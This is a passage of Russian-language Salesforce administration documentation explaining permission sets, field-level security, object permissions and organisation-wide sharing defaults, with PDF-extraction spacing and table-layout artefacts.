Performance, Unlimited,
Developer, and
Database.com Editions

Additional permission sets
available for an extra cost in
Professional Edition

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
пользователей, назначенных
набору полномочий:
• «Просмотр настройки и

конфигурации»

Страница «Назначенные пользователи» позволяет просматривать всех пользователей,
назначенныхнаборуполномочий, назначатьдополнительныхпользователейиудалять
назначения пользователя.

Чтобы просмотреть всех пользователей, назначенных набору полномочий, нажмите
кнопку «Управление назначениями» на странице сведений о нужном наборе
полномочий. Ниже перечислены действия, доступные на странице «Назначенные
пользователи».

• Назначение пользователей набору полномочий

• Удаление назначений пользователя из набора полномочий

• Редактирование сведений о пользователе

• Просмотр страницы сведений о пользователе путем выбора его имени, псевдонима
или имени пользователя

• Просмотр профиля путем выбора его имени

СМ. ТАКЖЕ:

Назначение наборов полномочий отдельному пользователю
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Назначение наборов полномочий отдельному пользователю

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Professional,
Group, Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions

Additional permission sets
available for an extra cost in
Professional Edition

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения наборов
полномочий:
• «Назначение наборов

полномочий»

Страницасведенийопользователепозволяетназначатьнаборыполномочийилиудалять
их назначения.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

2. Выберите нужного пользователя.

3. Нажмите кнопку «Редактировать назначения» в связанном списке «Назначения
набора полномочий».

4. Чтобы назначить набор полномочий, выберите нужный набор в поле «Доступные
наборы полномочий» и нажмите кнопку «Добавить». Чтобы удалить назначение
набора полномочий, выберите нужный набор в поле «Включенные наборы
полномочий» и нажмите кнопку «Удалить».

Прим.:

• Страница «Назначениянабораполномочий» содержитнаборыполномочий
без связанной лицензии и наборы полномочий, которые соответствуют
лицензии пользователя. Например, при использовании лицензии Chatter
Onlyпользователюмогутбытьназначенынаборыполномочийслицензией
Chatter Only и наборы полномочий без связанной лицензии.

Приназначениинабораполномочийбез связаннойлицензиипользователя
все включенные параметры и полномочия должны быть разрешены
лицензией пользователя. В противном случае назначение не выполняется.

• Некоторые полномочия могут быть предоставлены пользователю только
приналичиисоответствующихлицензийнабораполномочий. Например, набор
полномочий «Identity», дополненныйполномочием «Использование Identity
Connect», может быть назначен только пользователям с лицензией набора
полномочий Identity Connect.

5. Нажмите кнопку «Сохранить».

Совет: При необходимости выполните данную и другие задачи администрирования посредством мобильного
приложения SalesforceA.

СМ. ТАКЖЕ:

Пакетное назначение набора полномочий пользователям

SalesforceA

Лицензии пользователя в наборах полномочий

Пакетное назначение набора полномочий пользователям
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Пакетное назначение набора полномочий пользователям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Professional,
Group, Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions

Additional permission sets
available for an extra cost in
Professional Edition

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения набора
полномочийпользователям:
• «Назначение наборов

полномочий»

Любаястраницасведенийонабореполномочийпозволяетназначатьнаборполномочий
как минимум одному пользователю.

•
Просмотреть обзор: «Назначение набора полномочий»

СМ. ТАКЖЕ:

Удаление назначений пользователя из набора полномочий

Назначение наборов полномочий отдельному пользователю
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Удаление назначений пользователя из набора полномочий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Professional,
Group, Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions

Additional permission sets
available for an extra cost in
Professional Edition

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления назначений
набора полномочий:
• «Назначение наборов

полномочий»

Любая страница сведений о наборе полномочий позволяет удалять назначение как
минимум одного пользователя.

1. Введите строку «Наборы полномочий» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Наборы полномочий».

2. Выберите нужный набор полномочий.

3. Нажмите кнопку «Управление назначениями» на странице сведений о наборе
полномочий.

4. Выберите пользователей для удаления из данного набора полномочий.

Одновременно можно удалять не более 1 000 пользователей.

5. Нажмите кнопку «Удалить назначения».

Данная кнопка доступна только при выборе как минимум одного пользователя.

6. Чтобы открыть список всех пользователей, назначенных набору полномочий,
нажмите кнопку «Готово».

СМ. ТАКЖЕ:

Пакетное назначение набора полномочий пользователям

Отмена полномочий и доступа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Professional
Edition, Group Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com.

Дополнительные наборы
разрешений доступны при
дополнительной оплате в
выпуске Professional
Edition.

Профили и наборы полномочий позволяют предоставлять доступ, но не могут
использоваться для его отмены. Любое полномочие, предоставленное посредством
профиля или набора полномочий, является действительным. Например, если
полномочие «Перенос записи» отключеновпрофилепользователя, новключеновдвух
наборах полномочий, то данный пользователь может переносить записи, независимо
от своей ответственности. Чтобы отменить полномочие, рекомендуем удалить все
экземпляры полномочия для пользователя. Ниже перечислены доступные действия и
возможные последствия.

ПоследствиеДействие

Полномочие или параметр доступа
отключается для всех других
пользователей, назначенных профилю
или наборам полномочий.

Отключите полномочие или удалите
параметр доступа из профиля и любого
набора полномочий, назначенного
пользователю.

Пользователь может потерять другие
полномочия или параметры доступа,
связанные с профилем или наборами
полномочий.

Если полномочие или параметр доступа
включен в профиле пользователя,
назначьтепользователюдругойпрофиль.

И
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ПоследствиеДействие

Еслиполномочиеилипараметрдоступавключенвлюбом
наборе полномочий, назначенном пользователю, удалите
назначения набора полномочий для этого пользователя.

Чтобы избежать последствий, рекомендуем тщательно продумать все возможные варианты. Например, пользователь
может клонироватьназначенныйпрофильилилюбойназначенныйнаборполномочий, где включенополномочиеили
параметр доступа, а затем отключить данное полномочие или параметр доступа и назначить клонированный профиль
или набор полномочий пользователю. Другой возможный вариант: пользователь может создать базовый профиль,
которомуназначаютсяминимальныеполномочияипараметры, доступныебольшомуколичествупользователей, а затем
создать наборы полномочий для предоставления дополнительного доступа.

СМ. ТАКЖЕ:

Полномочия и доступ пользователя

Просмотреть обзор: создание, редактирование и назначение набора полномочий

Назначение наборов полномочий отдельному пользователю

Доступ к полю

Факторы, определяющие доступ к полям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Макеты страницнедоступны
в версии Database.com
Edition.

Доступность полей для просмотра и редактирования пользователями Salesforce
определяетсянесколькимифакторами. Доступкполямможноконтролироватьнауровне
типа записи, уровня пользователя или поля.

• Макетыстраниц: полямогутбыть видимыми, обязательными, редактируемымиили
доступными только для чтения в зависимости от типа записи.

• Безопасностьполя: полямогут быть видимыми, редактируемымиили доступными
только для чтения, а доступ пользователей может быть дополнительно ограничен.
Данные параметры переопределяют свойства поля, заданные в макете страницы,
если параметры безопасности поля являются более строгими.

• Полномочия: некоторыеполномочияпользователяпереопределяютмакетыстраниц
и параметры безопасности поля. Например, пользователи с полномочием
«Редактирование полей только для чтения» всегда могут редактировать поля,
доступные только для чтения, независимо от любых других параметров.

• Универсальные обязательные поля: переопределяют любые менее строгие
параметры для макетов страниц или безопасности поля за счет присвоения полю
статуса универсального обязательного.

Чтобы подтвердить доступ пользователей к определенным полям после настройки данных элементов, воспользуйтесь
сеткой доступности полей.

СМ. ТАКЖЕ:

Изменение параметров доступа к полям
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Проверка доступности отдельного поля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра доступности
поля:
• «Просмотр настройки и

конфигурации»

Проверьте, ограничен ли доступ к полю и на каком уровне — тип записи, профиль
пользователя или поле.

1. Откройте область полей соответствующего объекта.

• Для раскрывающихся списков статусов проверки статей базы знаний, в разделе
«Настройка» введите «Статусы проверки» в поле «Быстрый поиск», затем
выберитеСтатусы проверки.

2. Выберите нужное поле и нажмите кнопку «Просмотр доступности поля».

3. Проверьте правильность доступа к полю для разных профилей и типов записей.

4. Чтобы просмотреть, является ли поле обязательным, редактируемым, скрытым или
доступным только для чтения на основе макета страницы или безопасности поля,
наведите указатель мыши на любой параметр доступа к полю.

5. Щелкните любой параметр доступности поля для его изменения.

Чтобыпроверитьдоступностьполейпоконкретномупрофилю, типу записиилиполю,
в меню «Настройка», введите «Доступность полей» в поле «Быстрый поиск», затем
выберите«Доступностьполей». Даннаястраницапозволяетвыбратьотдельнуювкладку
для просмотра и определить способ проверки доступа — по профилям, типам записей
или полям.

Прим.: Данныйпользовательскийинтерфейс не поддерживает проверку доступа
для наборов полномочий.

СМ. ТАКЖЕ:

Факторы, определяющие доступ к полям
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Изменение параметров доступа к полям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра доступности
поля:
• «Просмотр настройки и

конфигурации»

Для изменения доступности
поля:
• «Настройка

приложения»

И

«Управление
профилями и наборами
полномочий»

Сетка доступности полей позволяет выбирать любые параметры доступа к полю для
изменения его доступности в макете страницы или параметрах безопасности поля.
Параметры доступа к полю могут быть изменены на странице «Параметры доступа».

• Выберите уровень доступа профиля к полю в разделе «Безопасность поля».

Включенные параметрыУровень доступа

ДоступноПользователи могут просматривать и
редактировать поле.

Доступно иТолько для чтенияПользователи могут просматривать, но
не могут редактировать поле.

НетПользователи не могут просматривать
или редактировать поле.

Рекомендуем использовать параметры безопасности поля для определения уровня
доступа пользователей к полям вместо создания нескольких макетов страниц.

• Ниже перечислены действия, доступные в разделе «Макет страницы».

– Установите переключатель «Удалить или изменить редактируемость» и
измените свойства доступа к полю для макета страницы. Данные изменения
повлияют на все комбинации профиля и типа записи, использующие данный
макет страницы.

– Чтобы назначить комбинации профиля и типа записи другой макет страницы,
установите переключатель «Выбрать другой макет страницы».

СМ. ТАКЖЕ:

Факторы, определяющие доступ к полям

Общие сведения о безопасности поля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Нижеперечисленыкомпоненты, позволяющиеадминистраторамограничиватьдоступ
пользователей для просмотра и редактирования определенных полей посредством
параметров безопасности поля.

• Страницы сведений и редактирования

• Связанные списки

• Списковые представления

• Отчеты

• Connect Offline

• Шаблоны эл. почты и стандартных писем

• Настраиваемые ссылки

• Партнерский портал

• Клиентский портал Salesforce
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• Синхронизированные данные

• Импортированные данные

Поля, доступные пользователям на страницах просмотра и редактирования сведений, определяются макетами страниц
ипараметрамибезопасностиполя. Всегдаприменяютсяболее строгиепараметрыдоступа. Например, еслиполе является
обязательным в макете страницы, но доступным только для чтения в параметрах безопасности поля, то параметры
безопасности переопределяют макет страницы и предоставляют пользователю доступ к полю только для чтения.

Важное замечание: Безопасностьполянепрепятствуетпоискузначенийвполе. Есликритериипоискасоответствуют
значениям полей, защищенных параметрами безопасности, то результаты поиска возвращают связанные записи
без защищенных полей и их значений.

Чтобы определить параметры безопасности поля, воспользуйтесь одним из указанных ниже способов.

• Для нескольких полей одного набора полномочий или профиля

• Для одного поля всех профилей

Ниже перечислены действия, доступные пользователям после настройки параметров безопасности поля.

• Чтобы систематизировать поля на страницах просмотра и редактирования сведений, создайте макеты страниц.

• Проверьте уровень доступа пользователей к полям на странице доступности полей.

• Настройте макеты поиска для определения полей, отображающихся в результатах поиска, диалоговых окнах поиска
и основных списках на начальных страницах вкладок.

Прим.: Поляформулыисводногорезюмированиядоступнытолькодлячтениянастраницахсведенийинедоступны
на страницах редактирования. Данные поля могут быть доступныпользователям даже в том случае, если ссылаются
нанедоступныеполя. Страницыредактированиявсегдаотображаютуниверсальныеобязательныеполя, независимо
от заданных параметров безопасности поля.

Мастер групп взаимосвязи позволяет создавать и редактировать группы взаимосвязи, независимо от заданных
параметров безопасности поля.
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Настройка полномочий поля в наборах полномочий и профилях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки параметров
безопасности поля:
• «Управление

профилями и наборами
полномочий»

И

«Настройка
приложения»

Полномочия поля определяют уровень доступа к каждому полю объекта.

1. В меню «Настройка» выполните одно из следующих действий.

• Введите строку «Наборы полномочий» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Наборы полномочий».

• Введите строку «Профили» в поле «Быстрый поиск» и выберите пункт
«Профили».

2. Выберите нужный набор полномочий или профиль.

3. В зависимости от используемого типа интерфейса, выполните одно из указанных
ниже действий.

• Наборыполномочийилирасширенныйпользовательскийинтерфейспрофиля:
введите имя объекта в поле «Поискпараметров…» и выберите нужный объект
из списка. Нажмите кнопку «Правка» и прокрутите страницу до раздела
«Полномочия поля».

• Исходныйпользовательскийинтерфейспрофиля: щелкнитессылку«Просмотр»
напротив нужного объекта в разделе «Безопасность поля» и нажмите кнопку
«Правка».

4. Выберите уровень доступа к полю.

5. Нажмите кнопку «Сохранить».
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Настройка параметров безопасности отдельного поля во всех профилях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки параметров
безопасности поля:
• «Управление

профилями и наборами
полномочий»

И

«Настройка
приложения»

1. На странице параметров управления полями объекта перейдите к разделу «Поля».

2. Выберите нужное поле.

3. Нажмите кнопку «Просмотр доступности поля».

4. Укажите уровень доступа к полю.

5. Нажмите кнопку «Сохранить».

Справочное руководство по полномочиям

Полномочия пользователя

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступные полномочия
пользователя определяются
используемой версией
Salesforce.

Полномочия пользователя определяют доступные действия и функции. Например,
полномочие «Просмотр настройки и конфигурации» позволяет пользователям
просматривать страницынастройки, тогда какполномочие «API включен» предоставляет
пользователям доступ к любому интерфейсу Salesforce API. Полномочия пользователя
могут быть включены в наборы полномочий и настраиваемые профили. В наборах
полномочий и расширенном пользовательском интерфейсе профиля данные
полномочия (иихописания) перечисленынастранице «Полномочияприложения» или
«Полномочия системы». В исходном пользовательском интерфейсе профиля
полномочия пользователя перечислены в разделах «Полномочия администратора» и
«Общие полномочия пользователя».

Чтобы просмотреть разрешения и их описания, в разделе «Настройка» введите «Наборы полномочий» в поле «Быстрый
поиск», затемвыберите«Наборыполномочий», затемвыберитеилисоздайтеновыйнаборполномочий. Затемщелкните
ссылку«Полномочияприложения»или«Полномочиясистемы»настранице «Общиесведенияонабореполномочий».

СМ. ТАКЖЕ:

Профили

Наборы полномочий

Стандартные профили
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Полномочия объекта

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Полномочияобъектаопределяютосновнойуровеньдоступапользователейдлясоздания,
чтения, редактированияиудалениязаписейкаждогообъекта. Управлениеполномочиями
объекта выполняется посредством наборов полномочий и профилей.

Полномочия объекта сохраняют или переопределяют правила и параметры общего
доступа. Ниже перечислены полномочия, которые определяют уровень доступа
пользователей к объектам.

Сохраняет или
переопределяет
общий доступ?

ОписаниеПолномочие

Сохраняет общий
доступ

Пользователимогуттолькопросматривать
записи данного типа.

Чтение

Сохраняет общий
доступ

Пользователи могут просматривать и
создавать записи.

Создание

Сохраняет общий
доступ

Пользователи могут просматривать и
обновлять записи.

Редактирование

Сохраняет общий
доступ

Пользователи могут просматривать,
редактировать и удалять записи.

Удаление

Переопределяет
общий доступ

Пользователи могут просматривать все
записи, связанные с данным объектом,
независимоотпараметровобщегодоступа.

Просмотреть все

Переопределяет
общий доступ

Пользователи могут просматривать,
редактировать, удалять, переносить и
утверждатьвсе записи, связанныесданным

Изменить все

объектом, независимо от параметров
общего доступа.

Прим.: Полномочие «Изменить
все» для документов предоставляет
доступ ко всем общедоступным
папкам, но не дает права на
редактирование свойств папки или
создание папок. Редактирование
свойств папки и создание папок
доступно только при наличии
полномочия «Управление
общедоступными документами».

СМ. ТАКЖЕ:

Общие сведения о полномочиях «Просмотреть все» и «Изменить все»

Сравнение моделей безопасности

Полномочия поля
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Общие сведения о полномочиях «Просмотреть все» и «Изменить все»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

Полномочия «Просмотреть все» и «Изменить все» не распространяются на параметры
и правила общего доступа, поэтому администраторы могут предоставлять доступ ко
всем записям, связаннымсданнымобъектомворганизации. Полномочия «Просмотреть
все» и «Изменить все» могут использоваться как лучшая альтернатива полномочиям
«Просмотр всех данных» и «Изменение всех данных».

Ниже перечислены различия между типами полномочий.

Целевые пользователиОбласть использованияПолномочия

Делегированные
администраторы, управляющие
записями конкретных объектов

Делегирование полномочий
объекта

Просмотреть
все

Изменить все

Администраторы всей
организации

Управление всеми данными
организации (например, удаление
данных, дедубликация, пакетное

Просмотр всех
данных

Изменениевсех
данных удаление, пакетный перенос и

управление утверждениями
записи)

Пользователи, просматривающие
всех пользователей организации

Просмотр всех пользователей
организации. Онопредоставляет

Просмотр всех
пользователей

(особенно если единомудоступ для чтения ко всем
стандартному параметру дляпользователям, то есть позволяет
объекта «Пользователь» заданопросматриватьсведенияозаписях
значение «Личный»).пользователей, а также
Полномочие «Просмотр всехпросматривать пользователей в
пользователей» предоставляетсяпоисках, списковых

представлениях и т. д. автоматическиадминистраторам
с полномочием «Управление
пользователями».

Полномочия «Просмотреть все» и «Изменить все» недоступны для идей, прайс-листов, типов статей и продуктов.

Полномочия «Просмотреть все» и «Изменить все» позволяют делегировать только полномочия объекта. Чтобы
делегировать права на администрирование пользователей и настраиваемых объектов, рекомендуем определить
делегированных администраторов.

Полномочие «Просмотр всех пользователей» доступно только при использованиифункции общего доступа к
пользователям, определяющейдоступностьпользователей в организации. Дополнительнуюинформациюсм. в разделе
«Общий доступ пользователей».

СМ. ТАКЖЕ:

Полномочия объекта
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Сравнение моделей безопасности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Безопасность пользователей Salesforce обеспечивается пересечением общего доступа,
полномочий пользователя и полномочий объекта. В одних случаях (например, для
предоставления доступа к записям конечного пользователя) желательно использовать
общий доступ. В других случаях (например, для делегирования задач по управлению
записями: переносзаписей, удалениеданных, удалениеповторяющихсязаписей, пакетное
удаление записейиделегированиепроцессов утверждениябизнес-правила) желательно
переопределять общий доступ и использовать полномочия.

Полномочия «Чтение», «Создание», «Редактирование» и «Удаление» сохраняютпараметры
общего доступа, которые определяют доступ к данным на уровне записи. Полномочия
«Просмотреть все» и «Изменить все» переопределяют параметры общего доступа для
конкретных объектов. Кроме того, полномочия «Просмотр всех данных» и «Изменение
всех данных» переопределяют параметры общего доступа для всех объектов.

В таблице ниже описаны основные различия между моделями безопасности.

Полномочия, переопределяющие
общий доступ

Полномочия, сохраняющие общий
доступ

Делегированные администраторы
данных

Конечные пользователиЦелевая аудитория

«Просмотреть все» и «Изменить все»Полномочия объекта «Чтение»,
«Создание», «Редактирование» и
«Удаление»;

Параметры общего доступа

Область управления

«Просмотреть все» и «Изменить все»«Личный», «Только для чтения», «Для
чтения и записи», «Для чтения, записи
и переноса», «Полный доступ»

Уровни доступа к записям

Доступно для всех объектов при
наличии полномочия «Изменить все»

Сохранение параметров общего
доступа в зависимости от объекта

Возможность переноса

Доступно для всех объектов при
наличии полномочия «Изменить все»

НетВозможностьутверждениязаписей
или редактирования и
разблокировки записей в процессе
утверждения

Доступно для всех объектов при
наличии полномочия «Просмотреть
все»

Доступно при наличии следующего
правила общего доступа: записи,
принадлежащие общедоступной
группе «Вся организация»,

Возможность составления отчетов
по всем записям

используются совместно с указанной
группой посредством уровня доступа
«Только для чтения»
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Полномочия, переопределяющие
общий доступ

Полномочия, сохраняющие общий
доступ

Доступно для большинства объектов
посредством полномочий объекта

Доступно для всех объектов, кроме
продуктов, документов, решений, идей,
примечаний и вложений

Поддержка объектов

Прим.: Полномочия
«Просмотреть все» и «Изменить
все» недоступны для идей,
прайс-листов, типов статей и
продуктов.

Профиль или наборы полномочий«Роли», «Роли и подчиненные роли»,
«Роли и внутренние подчиненные

Источник определения уровней
группового доступа

роли», «Роли, внутренние
подчиненные роли и подчиненные
роли портала», «Очереди», «Рабочие
группы» и «Общедоступные группы»

Доступно для личных контактов,
возможностей, примечаний и

НедоступноДоступ к личным записям

вложений при наличии полномочий
«Просмотреть все» и «Изменить все»

Доступно для всех объектов при
наличии полномочия «Изменить все»

Доступно ответственному за запись и
любомувышестоящемупользователю
в иерархии ролей

Возможность предоставления
общего доступак записямвручную

Доступно при наличии полномочия
«Изменить все» для обращений

НедоступноВозможность управления всеми
комментариями к обращениям

Полномочия поля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Полномочия поля определяют уровень доступа к каждому полю объекта. Метки
параметров, используемые в расширенном пользовательском интерфейсе профиля и
наборах полномочий, отличаются от меток параметров, используемых в исходном
пользовательском интерфейсе профиля и на страницах настройки параметров
безопасности полей.

Включенные параметры
в исходном
пользовательском
интерфейсе профиля и
на страницах настройки
параметров безопасности
полей

Включенные параметры
в наборах полномочий и
расширенном
пользовательском
интерфейсе профиля

Уровень доступа

ДоступноЧтение и РедактированиеПользователи могут
просматривать и
редактировать поле.
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Включенные параметры в
исходном пользовательском
интерфейсе профиля и на
страницах настройки параметров
безопасности полей

Включенные параметры в наборах
полномочий и расширенном
пользовательском интерфейсе
профиля

Уровень доступа

Доступно и Только для чтенияЧтениеПользователимогутпросматривать, но
не могут редактировать поле.

НетНетПользователинемогутпросматривать
или редактировать поле.

СМ. ТАКЖЕ:

Общие сведения о безопасности поля

Полномочия объекта

Общий доступ

Параметры общего доступа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Рабочие группынедоступны
в версии Database.com
Edition.

СистемаSalesforceпозволяетконтролироватьдоступкданнымнасамыхразныхуровнях.
Например, уровень доступа пользователей к объектам может контролироваться
полномочиями объекта. А уровень доступа пользователей к полям объекта может
контролироваться параметрами безопасности поля. Параметры общего доступа
позволяют контролировать доступ к данным на уровне записи.

Единые стандартные параметры
Единые стандартные параметры общего доступа определяют базовый уровень доступа
к каждому объекту и позволяют расширить этот уровень посредством иерархий или
правил общего доступа. Например, чтобы разрешить пользователям просматривать и
редактировать только собственныеинтересы, задайте единымстандартнымпараметрам
для интересов значение «Личный». Чтобырасширить доступ отдельныхпользователей
или групп, создайте правила общего доступа к интересам.

Правила общего доступа
Правилаобщегодоступаустанавливаютисключенияизединыхстандартныхпараметров.
Если единым стандартным параметрам общего доступа задано значение «Общедоступный: только для чтения» или
«Личный», то система позволяет задать правила, предоставляющие пользователям дополнительный доступ к чужим
записям. Правила общего доступа могут быть созданы на основе ответственного или значений полей записи.

Совет: Иногда проблематично определить единую группу пользователей, нуждающихся в доступе к отдельному
набору записей. В подобных случаях ответственные за записи могут использовать общий доступ, установленный
вручную, для предоставления полномочий чтения и редактирования пользователям, которым запись недоступна
другими способами. В отличие от единых стандартных параметров, иерархий ролей и правил общего доступа,
общий доступ, установленный вручную, не является автоматическим процессом, но позволяет ответственным за
записи предоставлять доступ нужным пользователям.
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Управляемый общий доступ к Apex

Управляемый общий доступ к Apex позволяет разработчикам предоставлять программный доступ к настраиваемым
объектам. Если общий доступ к настраиваемому объекту предоставляется посредством управляемого общего доступа к
Apex, то добавление или изменение уровня общего доступа к записи настраиваемого объекта доступно только при
наличии полномочия «Изменение всех данных», а изменения ответственного за запись остаются общедоступными.

Другие методы предоставления доступа к записям
Помимопараметровобщегодоступа, одновременныйдоступпользователейквыбраннымзаписямможетбытьпредоставлен
другими способами.

Соотнесение групп категорий с ролями
Чтобы определить уровень доступа к категориям данных, рекомендуем соотнести их с ролями пользователей.

Очереди
Queues help you prioritize, distribute, and assign records to teams who share workloads. You can access queues from list views, and
queue members can jump in to take ownership of any record in a queue. Queues are available for cases, leads, orders, custom objects,
service contracts, and knowledge article versions.Чтобы направить записи интереса, заказа, обращения и настраиваемого
объекта в группу, рекомендуем использовать очереди.

Рабочие группы
Ответственные за записи организаций, возможностей и обращений могут использовать рабочие группы для
предоставлениядругимпользователямдоступаксобственнымзаписям. Рабочаягруппа — этосовокупностьпользователей,
работающих совместно над организациями, возможностями или обращениями. Ответственные за записи могут
создавать рабочие группы для каждой собственной записи. Ответственный за запись добавляет участников рабочей
группы и определяет уровень доступа каждого участника к записи (например, одним участникам предоставляется
доступ только для чтения, а другим участникам — доступ для чтения и записи). Кроме того, ответственный за запись
может назначить роль для каждого участника рабочей группы (например, «Руководитель проекта»). Участникам
группы, работающей с организациями, предоставляется доступ ко всем связанным контактам, возможностям и
обращениям.

Прим.: Участнику рабочей группы может быть предоставлен более высокий уровень доступа к записи
посредством других методов (например, роль или правило общего доступа). Независимо от уровня доступа,
заданного для рабочей группы, участнику рабочей группы предоставляется самый высокий уровень доступа.

СМ. ТАКЖЕ:

Единые стандартные параметры общего доступа

Правила общего доступа

Иерархия ролей пользователей

Рекомендации по предоставлению общего доступа
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Единые стандартные параметры общего доступа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Клиентский портал
недоступен в версии
Database.com Edition.

Администраторымогутиспользоватьединыепараметрыобщегодоступадляопределения
стандартных параметров общего доступа, используемых в организации.

Данные параметры определяют стандартный уровень доступа к записям и могут быть
заданы отдельно для организаций (включая контракты), действий, активов, контактов,
кампаний, обращений, интересов, возможностей, календарей, прайс-листов, заказов и
настраиваемых объектов.

Единым параметрам общего доступа для большинства объектов могут быть заданы
следующие значения: «Личный», «Общедоступный: только для чтения» и
«Общедоступный: для чтения и записи». Если единому параметру общего доступа к
объекту задано значение «Личный» или «Общедоступный: только для чтения», то
администратор может предоставить пользователям дополнительный доступ к записям
посредствомнастройкииерархииролейиопределенияправилобщегодоступа. Однако,
правила общего доступа позволяют только предоставлять дополнительный доступ и
не могут ограничивать уровень доступа к записям, заданный изначально в единых
стандартных параметрах общего доступа.

Важное замечание: Если организация использует клиентский портал, то, прежде
чем предоставить контактам доступ к порталу, в единых стандартных параметрах
общего доступа для организаций, контактов, контрактов, активов и обращений
должно быть выбрано значение «Личный». В этом случае пользователям по
умолчанию предоставляется доступ только к собственным данным. Кроме того,
пользователям Salesforce может быть предоставлен доступ «Общедоступный: для
чтения и записи» путем создания правил общего доступа, согласно которым все
внутренниепользователипредоставляютдоступ всем внутреннимпользователям.

По умолчанию система Salesforce использует иерархию ролей и иерархию территорий, которые автоматически
предоставляют доступ к записи пользователям, расположенным выше ответственного.

Записи объекта, параметрам общего доступа которого задано значение «Личный», доступны только ответственным и
вышестоящимпользователямвиерархииролей. Флажок«Предоставитьдоступсиспользованиемиерархий»позволяет
отменить доступ к записям тех пользователей, которые расположены выше ответственного в иерархии настраиваемых
объектов, в версиях Professional Edition, Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition. Еслиданный
флажок снят для настраиваемого объекта, то записи доступны только ответственным за запись и пользователям,
получившим доступ в соответствии с едиными стандартными параметрами.

СМ. ТАКЖЕ:

Настройка единых стандартных параметров общего доступа

Стандартные параметры общего доступа

Единые стандартные параметры общего доступа
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Настройка единых стандартных параметров общего доступа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки стандартного
общего доступа:
• «Управление общим

доступом»

Параметрыобщегодоступана уровне всейорганизацииустанавливаютбазовыйдоступ
для ваших записей. Вы можете устанавливать параметры по умолчанию отдельно для
разных объектов.

1. Вразделе «Настройка» введите «Параметры общего доступа» вполе «Быстрый поиск»,
затем выберите «Параметры общего доступа».

2. Нажмите кнопку «Правка» в разделе «Единые стандартные параметры».

3. Выберите нужный уровень доступа по умолчанию для каждого объекта. Если у вас
естьпараметрыпоумолчаниюдляорганизациидлядоступаизвне, см. раздел «Общие
сведения о внешних единых стандартных параметрах».

4. Чтобы отключить автоматический доступ с помощью иерархий, снимите флажок
«Предоставить доступ с использованием иерархий» напротив любого
настраиваемого объекта, которому по умолчанию не задан уровень доступа
«Контролируется родительским объектом».

Прим.: Еслифлажок «Предоставитьдоступсиспользованиемиерархий»
не установлен, то вышестоящим пользователям в иерархии ролей или
территорийнепредоставляетсяавтоматическийдоступ. Темнеменее, некоторые
пользователи (например, с полномочиями объекта «Просмотреть все» и
«Изменить все», а также полномочиями системы «Просмотр всех данных» и
«Изменение всех данных») могут получить доступ к записям, которые им не
принадлежат.

При обновлении параметров организации по умолчанию пересчет при общем доступе применяется к измененным
записям. Время обновления определяется текущим размером данных.

